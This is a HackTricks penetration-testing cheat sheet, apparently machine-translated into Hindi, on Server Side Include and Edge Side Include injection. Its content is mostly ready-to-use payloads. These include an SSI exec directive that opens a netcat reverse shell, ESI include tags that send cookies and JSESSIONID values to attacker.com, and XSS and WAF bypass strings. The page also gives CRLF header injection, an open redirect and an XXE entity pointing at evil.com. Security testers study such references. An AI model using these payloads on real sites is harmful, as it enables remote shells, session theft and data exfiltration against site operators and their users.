Server Side Inclusion/Edge Side Inclusion Injection

Support HackTricks

Server Side Inclusion Basic Information

(Introduction taken from Apache docs)

SSI (Server Side Includes) ऐसे निर्देश हैं जो HTML पृष्ठों में रखे जाते हैं, और सर्वर पर मूल्यांकित होते हैं जब पृष्ठों को परोसा जा रहा होता है। ये आपको एक मौजूदा HTML पृष्ठ में गतिशील रूप से उत्पन्न सामग्री जोड़ने की अनुमति देते हैं, बिना पूरे पृष्ठ को CGI प्रोग्राम या अन्य गतिशील तकनीक के माध्यम से परोसने की आवश्यकता के। उदाहरण के लिए, आप एक मौजूदा HTML पृष्ठ में एक निर्देश रख सकते हैं, जैसे:

<!--#echo var="DATE_LOCAL" -->

और, जब पृष्ठ परोसा जाता है, तो यह अंश मूल्यांकित किया जाएगा और इसके मान से प्रतिस्थापित किया जाएगा:

Tuesday, 15-Jan-2013 19:28:54 EST

SSI का उपयोग कब करना है, और कब आपके पृष्ठ को पूरी तरह से किसी प्रोग्राम द्वारा उत्पन्न करना है, यह आमतौर पर इस बात का मामला होता है कि पृष्ठ का कितना हिस्सा स्थिर है, और कितना हर बार पृष्ठ परोसने पर पुनः गणना करने की आवश्यकता है। SSI छोटी जानकारी के टुकड़े जोड़ने का एक शानदार तरीका है, जैसे कि वर्तमान समय - जो ऊपर दिखाया गया है। लेकिन यदि आपके पृष्ठ का अधिकांश भाग उस समय उत्पन्न हो रहा है जब इसे परोसा जाता है, तो आपको किसी अन्य समाधान की तलाश करनी होगी।

आप SSI की उपस्थिति का अनुमान लगा सकते हैं यदि वेब एप्लिकेशन फ़ाइलों का उपयोग करता है जिनके एक्सटेंशन .shtml, .shtm या .stm हैं, लेकिन यह केवल यही मामला नहीं है।

एक सामान्य SSI अभिव्यक्ति का निम्नलिखित प्रारूप होता है:

<!--#directive param="value" -->

जांचें

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

एक समस्या जानकारी या गतिशील अनुप्रयोगों को कैश करना है क्योंकि सामग्री का एक भाग अगले बार सामग्री को पुनः प्राप्त करते समय भिन्न हो सकता है। यही कारण है कि ESI का उपयोग किया जाता है, ESI टैग का उपयोग करके यह संकेत देने के लिए कि गतिशील सामग्री जो उत्पन्न की जानी चाहिए उसे कैश संस्करण भेजने से पहले उत्पन्न किया जाना चाहिए। यदि एक हमलावर कैश सामग्री के अंदर एक ESI टैग इंजेक्ट करने में सक्षम है, तो वह दस्तावेज़ पर मनमाना सामग्री इंजेक्ट करने में सक्षम हो सकता है इससे पहले कि इसे उपयोगकर्ताओं को भेजा जाए।

ESI Detection

सर्वर से प्रतिक्रिया में निम्नलिखित हेडर का अर्थ है कि सर्वर ESI का उपयोग कर रहा है:

Surrogate-Control: content="ESI/1.0"

यदि आप इस हेडर को नहीं ढूंढ पा रहे हैं, तो सर्वर शायद ESI का उपयोग कर रहा है। एक अंधे शोषण दृष्टिकोण का भी उपयोग किया जा सकता है क्योंकि एक अनुरोध हमलावर के सर्वर पर पहुंचना चाहिए:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI शोषण

GoSecure ने विभिन्न ESI-सक्षम सॉफ़्टवेयर के खिलाफ संभावित हमलों को समझने के लिए एक तालिका बनाई है, जो समर्थित कार्यक्षमता के आधार पर है:

  • Includes: <esi:includes> निर्देश का समर्थन करता है

  • Vars: <esi:vars> निर्देश का समर्थन करता है। XSS फ़िल्टर को बायपास करने के लिए उपयोगी

  • Cookie: दस्तावेज़ कुकीज़ ESI इंजन के लिए सुलभ हैं

  • Upstream Headers Required: सरोगेट एप्लिकेशन ESI कथनों को संसाधित नहीं करेंगे जब तक कि अपस्ट्रीम एप्लिकेशन हेडर प्रदान न करे

  • Host Allowlist: इस मामले में, ESI शामिल केवल अनुमत सर्वर होस्ट से संभव हैं, जिससे SSRF, उदाहरण के लिए, केवल उन होस्ट के खिलाफ संभव है

सॉफ़्टवेयर

Includes

Vars

Cookies

Upstream Headers Required

Host Whitelist

Squid3

Yes

Yes

Yes

Yes

No

Varnish Cache

Yes

No

No

Yes

Yes

Fastly

Yes

No

No

No

Yes

Akamai ESI Test Server (ETS)

Yes

Yes

Yes

No

No

NodeJS esi

Yes

Yes

Yes

No

No

NodeJS nodesi

Yes

No

No

No

Optional

XSS

निम्नलिखित ESI निर्देश सर्वर के प्रतिक्रिया के अंदर एक मनमाना फ़ाइल लोड करेगा

<esi:include src=http://attacker.com/xss.html>

क्लाइंट XSS सुरक्षा को बायपास करें

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

कुकी चुराना

  • दूरस्थ कुकी चुराना

<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • HTTP_ONLY कुकी को XSS के माध्यम से चुराना और इसे प्रतिक्रिया में परावर्तित करना:

# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

Private Local File

इसको "Local File Inclusion" के साथ भ्रमित न करें:

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

निम्नलिखित प्रतिक्रिया में Location हेडर जोड़ेगा

<!--esi $add_header('Location','http://attacker.com') -->

Add Header

  • मजबूर अनुरोध में हेडर जोड़ें

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • प्रतिक्रिया में हेडर जोड़ें (XSS के साथ "Content-Type: text/json" को बायपास करने के लिए उपयोगी)

<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Add header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

यह प्रतिक्रिया में शामिल डिबग जानकारी भेजेगा:

<esi:debug/>

ESI + XSLT = XXE

xslt पैरामीटर के लिए dca मान निर्दिष्ट करके, eXtensible Stylesheet Language Transformations (XSLT) आधारित ESI को शामिल करना संभव है। समावेश HTTP सरोगेट को XML और XSLT फ़ाइलों को पुनः प्राप्त करने के लिए मजबूर करता है, जिसमें बाद वाला पूर्व को फ़िल्टर करता है। ऐसी XML फ़ाइलें XML External Entity (XXE) हमलों के लिए शोषणीय होती हैं, जिससे हमलावरों को SSRF हमले करने की अनुमति मिलती है। हालाँकि, इस दृष्टिकोण की उपयोगिता सीमित है क्योंकि ESI पहले से ही SSRF वेक्टर के रूप में कार्य करता है। अंतर्निहित Xalan पुस्तकालय में समर्थन की अनुपस्थिति के कारण, बाहरी DTDs को संसाधित नहीं किया जाता है, जिससे स्थानीय फ़ाइल निकासी को रोका जाता है।

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT फ़ाइल:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

Check the XSLT page:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

संदर्भ

ब्रूट-फोर्स डिटेक्शन लिस्ट

Support HackTricks

Last updated